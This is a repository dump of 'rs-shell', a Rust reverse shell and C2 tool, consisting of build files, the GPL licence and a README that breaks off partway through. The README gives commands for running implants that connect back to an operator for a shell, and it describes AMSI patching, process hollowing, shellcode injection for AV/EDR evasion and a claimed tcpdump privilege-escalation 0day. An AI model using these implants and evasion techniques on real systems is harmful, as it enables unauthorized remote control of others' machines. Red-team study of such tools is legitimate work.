Repository: BlWasp/rs-shell Branch: main Commit: d1db0100fefe Files: 22 Total size: 261.1 KB Directory structure: gitextract_dup77qzh/ ├── .gitignore ├── .gitmodules ├── .vscode/ │ └── settings.json ├── Cargo.toml ├── LICENSE ├── README.md └── src/ ├── amsi_bypass.rs ├── autopwn.rs ├── https/ │ ├── https_linux_implant.rs │ ├── https_operator.rs │ ├── https_server.rs │ ├── https_windows_implant.rs │ └── routes.rs ├── loader.rs ├── loader_syscalls.rs ├── main.rs ├── tcp/ │ ├── tcp_linux_client.rs │ ├── tcp_server.rs │ └── tcp_windows_client.rs └── utils/ ├── structures.rs ├── tools.rs └── tools_windows.rs ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Generated by Cargo # will have compiled files and executables /target/ # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html Cargo.lock # These are backup files generated by rustfmt **/*.rs.bk output_*/ # shellcode *.raw *.bin # TLS certificates certificat.pfx cert.pem key.pem # Test files next_task.txt output.txt os.txt ================================================ FILE: .gitmodules ================================================ ================================================ FILE: .vscode/settings.json ================================================ { "rust-analyzer.linkedProjects": [ ".\\Cargo.toml", ".\\Cargo.toml", ".\\Cargo.toml" ] } ================================================ FILE: Cargo.toml ================================================ [package] name = "rs-shell" version = "0.2.5" edition = "2024" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] native-tls = "0.2.14" signal-hook = "0.3.18" regex = "1.12.2" open = "5.3.3" simple_logger = "5.1.0" log = "0.4.28" ctrlc = "3.5.1" clap = { version = "4.5.53", features = ["derive"] } ntapi = "0.4.1" winapi = "0.3.9" time = "0.3.44" tokio = "1.50.0" actix-web = { version = "4.12.0", features = ["rustls-0_22"] } rustls = "0.22.4" # Do not upgrade for the moment, building errors with cmake starting at 0.23.0 rustls-pemfile = "2.2.0" actix-files = "0.6.8" actix-multipart = "0.7.2" reqwest = { version = "0.12.24", features = ["blocking", "rustls-tls", "multipart"] } [dependencies.windows-sys] version = "0.61.2" features = [ "Win32_System_Memory", "Win32_Foundation", "Win32_Security", "Win32_System_Threading", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_LibraryLoader", "Win32_System_Kernel", "Wdk_System_Threading", "Win32_Networking_WinInet", "Win32_Networking_WinHttp" ] [target.'cfg(target_os = "windows")'.dependencies] syscalls = { git = "https://github.com/BlWasp/syscalls-rs.git", branch = "main", features = ["_INDIRECT_"] } ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================



RS-Shell

*"The worst Rust programmer you have ever seen"* - my mom *"But at least it works"* - still my mom, but not about me ## Description RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things. RS-Shell implements two modes: **TLS over TCP** and **HTTPS**. * TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine * HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client: * The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/) * The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment) * The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code). Client, implant and server are all cross-platform and work on Windows and Linux systems. For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits. For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI. The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project. ## Features For the moment, the following features are present: * Semi-interactive reverse shell via TLS over TCP * Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant * File upload and download * Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**) * Loading features : * Load and execute a PE in the implant memory, **with or without indirect syscalls** * Load and execute a PE in a remote process memory, **with or without indirect syscalls** * Load and execute a shellcode in a remote process memory, **with or without indirect syscalls** * Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump` To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) project initiate by [memN0ps](https://twitter.com/memN0ps). However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports. ## How to ### Setup By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`. #### TCP setup I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations. A new self-signed PKCS12 TLS certificate can be obtained like this: ```bash openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer ``` #### HTTPS setup Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations. Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key: ```bash openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost' ``` ### Compilation The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified. To cross-compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-pc-windows-gnu`. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine: * `sudo apt install mingw-w64` * `rustup target add x86_64-pc-windows-gnu` * `cargo build --release --target x86_64-pc-windows-gnu` The project compilation has been tested with the following Rust toolchains : * `stable-x86_64-pc-windows-gnu` * `stable-x86_64-pc-windows-msvc` * `stable-x86_64-unknown-linux-gnu` If you compile the project for a Linux target, the "Windows features" will be removed at compilation. Should run on all Windows and Linux versions (I have hope). ### Usage ```plain Usage: rs-shell.exe [OPTIONS] --mode --side --ip Options: -m, --mode communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https] -s, --side launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l] -i, --ip IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants -p, --port port address to bind to for the TCP listener, or to connect to for the implant --cert-path path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS --cert-pass password of the TLS PKCS12 certificate for the TCP server --key-path path of the TLS key for the HTTPS server -h, --help Print help -V, --version Print version ``` #### TCP usage To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`. Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`. #### HTTPS usage First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`. Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`. Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`. ### Advanced commands ```plain > help [+] Custom integrated commands : [+] Loading commands > load C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it. This will kill the reverse shell ! > load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it > load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it [+] Loading commands with indirect syscalls > syscalls C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell ! > syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls > syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls [+] Bypass commands > powpow start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls [+] Network commands > download C:\\file\\to\\download C:\\local\\path download a file from the remote system > upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write upload a file to the remote system [+] Special commands > autopwn escalate to the SYSTEM or root account from any local account by exploiting a zero day ``` The `load` commands permit to load and execute directly in memory: * `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example * `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR * `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and 